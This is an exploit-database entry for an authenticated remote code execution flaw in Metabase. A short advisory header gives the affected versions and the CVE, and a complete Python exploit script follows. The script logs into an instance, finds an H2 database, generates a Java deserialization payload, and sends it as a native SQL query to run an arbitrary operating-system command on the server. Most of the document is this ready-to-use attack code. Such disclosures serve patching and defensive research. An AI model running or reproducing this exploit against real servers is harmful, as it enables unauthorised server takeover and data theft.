Metabase 0.61.0 - Authenticated Remote Code Execution

EDB-ID:

52680




Platform:

Multiple

Date:

2026-09-03


# Exploit Title: Metabase 0.61.0  - Authenticated Remote Code Execution 
# Date: 2026-08-12
# Exploit Author: Gutierre0x80
# Vendor Homepage: https://www.metabase.com/
# Software Link: https://github.com/metabase/metabase
# Version: >= 0.58.0 < 0.58.15, >= 0.59.0 < 0.59.12, >= 0.60.0 < 0.60.6.3, >= 0.61.0 < 0.61.1.4
# CVE: CVE-2026-59827
#
# Advisory:
# https://github.com/metabase/metabase/security/advisories/GHSA-w95f-x9v9-wv36
#
# Description:
# Metabase instances with an H2 database connection, including the default
# sample database, deserialize arbitrary Java objects returned by native H2
# queries in result columns of type OTHER without validation. An authenticated
# user with permission to execute native queries against an accessible H2
# database can exploit this behavior to execute arbitrary operating-system
# commands on the Metabase server.
#
# Requirements:
# - Valid Metabase credentials
# - Permission to execute native database queries
# - Access to an H2 database connection, including the default sample database
#
# Download:
# git clone https://github.com/Gutierre0x80/CVE-2026-59827.git
# cd CVE-2026-59827
#
# Usage:
# python3 exploit.py <target_url> <username> <password> <command>
#
# Example:
# python3 exploit.py http://127.0.0.1:3000 admin@example.com 'Password123!' 'id'
#
# Repository:
# https://github.com/Gutierre0x80/CVE-2026-59827


#!/usr/bin/env python3
"""
Metabase - Authenticated RCE via H2 Java Deserialization in Native SQL
Affects: <= v0.61.1 (latest at time of disclosure)

Usage:
    python3 exploit.py <url> <user> <password> <command>

Example:
    python3 exploit.py http://127.0.0.1:3000 admin@admin.com Admin1234! "id"

Required files (same directory as this script):
    clojure-1.12.3.jar
    VarChainPayload.class
"""
import os
import sys
import subprocess
import requests

HERE      = os.path.dirname(os.path.realpath(__file__))
CLJ_JAR   = os.path.join(HERE, "clojure-1.12.3.jar")
CLASSPATH = f":{CLJ_JAR}:{HERE}"


def die(msg):
    print(f"[-] {msg}", file=sys.stderr)
    sys.exit(1)


def check_deps():
    missing = []

    # Check local files
    for p in [CLJ_JAR, os.path.join(HERE, "VarChainPayload.class")]:
        if not os.path.isfile(p):
            missing.append(os.path.basename(p))
    if missing:
        die(f"Missing files in {HERE}: {missing}")

    # Check system binaries
    try:
        subprocess.run(["java", "-version"], capture_output=True, timeout=5, check=True)
    except (FileNotFoundError, subprocess.CalledProcessError):
        die("Java not found or not working. Install OpenJDK 11+ and add to PATH")

    try:
        import requests
    except ImportError:
        die("Python 'requests' library not found. Install with: pip install requests")



def get_token(session, url, user, password):
    r = session.post(f"{url}/api/session",
                     json={"username": user, "password": password}, timeout=15)
    r.raise_for_status()
    token = r.json().get("id")
    if not token:
        die(f"Authentication failed: {r.text[:200]}")
    return token


def get_h2_db_id(session, url, token):
    r = session.get(f"{url}/api/database",
                    headers={"X-Metabase-Session": token}, timeout=15)
    r.raise_for_status()
    data = r.json()
    dbs = data.get("data", data) if isinstance(data, dict) else data
    for db in dbs:
        if db.get("engine") == "h2":
            return db["id"], db["name"]
    die("No H2 database found in this Metabase instance.")


def generate_payload(command):
    result = subprocess.run(
        ["java",
         "--add-opens", "java.base/java.util=ALL-UNNAMED",
         "-cp", CLASSPATH,
         "VarChainPayload", command],
        capture_output=True, text=True, timeout=30
    )
    payload = result.stdout.strip()
    if not payload:
        die(f"Payload generation failed:\n{result.stderr}")
    return payload


def fire(session, url, token, db_id, payload_hex):
    sql = f"SELECT CAST(X'{payload_hex}' AS OTHER)"
    r = session.post(
        f"{url}/api/dataset",
        headers={"X-Metabase-Session": token},
        json={"database": db_id, "native": {"query": sql}, "type": "native"},
        timeout=30
    )
    return r.json()


def main():
    if len(sys.argv) != 5:
        print(__doc__)
        sys.exit(1)

    _, url, user, password, command = sys.argv
    url = url.rstrip("/")

    check_deps()

    s = requests.Session()
    s.headers.update({"Content-Type": "application/json"})

    print(f"[*] Target   : {url}")
    print(f"[*] User     : {user}")
    print(f"[*] Command  : {command}")
    print()

    print("[*] Authenticating...")
    token = get_token(s, url, user, password)
    print(f"[+] Session  : {token}")

    print("[*] Locating H2 database...")
    db_id, db_name = get_h2_db_id(s, url, token)
    print(f"[+] Database : {db_name} (id={db_id})")

    print("[*] Generating payload...")
    payload = generate_payload(command)
    print(f"[+] Payload  : {len(payload) // 2} bytes")

    print("[*] Firing exploit...")
    result = fire(s, url, token, db_id, payload)

    error = str(result)
    ran_indicators = [
        "ClassCastException",      # normal: Process cast to Number
        "ProcessImpl",             # process object leaked in error
        "NonTransientConnection",  # H2 lock after exec triggered reconnect
        "JdbcSQLData",             # deserialization error after exec
    ]
    if any(ind in error for ind in ran_indicators):
        print("[+] RCE executed — H2 error after deserialization confirms command ran")
    else:
        print(f"[?] Unexpected response (command may not have run): {error[:300]}")

    print()
    print("[*] Done. If the command writes output to a file, retrieve it separately.")


if __name__ == "__main__":
    main()